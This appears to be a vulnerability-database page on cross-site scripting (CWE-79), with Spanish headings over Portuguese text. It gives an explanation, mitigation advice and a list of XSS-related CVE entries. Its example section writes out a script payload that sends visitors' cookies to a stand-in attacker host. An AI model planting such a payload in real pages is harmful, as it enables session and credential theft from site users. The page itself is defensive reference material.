Fallos del tipo CWE-79

29.654 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-27236MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-27225MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-23821MEDIUMGeoServer's GWC Demos Page vulnerable to Stored Cross-Site Scripting (XSS)EPSS 0.4%CVE-2026-27226MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-2266MEDIUMImproper neutralization of input during web page generation could lead to cross-site scripting based attacksEPSS 0.4%CVE-2026-27262MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-27255MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-2256MEDIUMoik <= 4.10.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2026-27234MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-22868MEDIUMIBM Aspera Faspex cross-site scriptingEPSS 0.4%CVE-2026-27250MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-64972MEDIUMReflected XSS in ATutorEPSS 0.4%CVE-2026-27253MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-50709MEDIUMFrappe Framework 17.0.0-dev - Stored XSS in Notifications Events color renderingEPSS 0.4%CVE-2026-27266MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-10092HIGHCincopa video and media plug-in <= 1.163 - Unauthenticated Stored Cross-Site Scripting via cincopa Shortcode in Post CommentsEPSS 0.4%CVE-2026-54219MEDIUMStored XSS in UBB.threadsEPSS 0.4%CVE-2024-1589MEDIUMSendPress Newsletters <= 1.23.11.6 - Admin+ Stored XSS via Form SettingsEPSS 0.4%CVE-2026-27242MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-25662MEDIUMOxygen XML Web Author v26.0.0 and older and Oxygen Content Fusion v6.1 and older are vulnerable to Cross-Site Scripting (XSS) for malicious EPSS 0.4%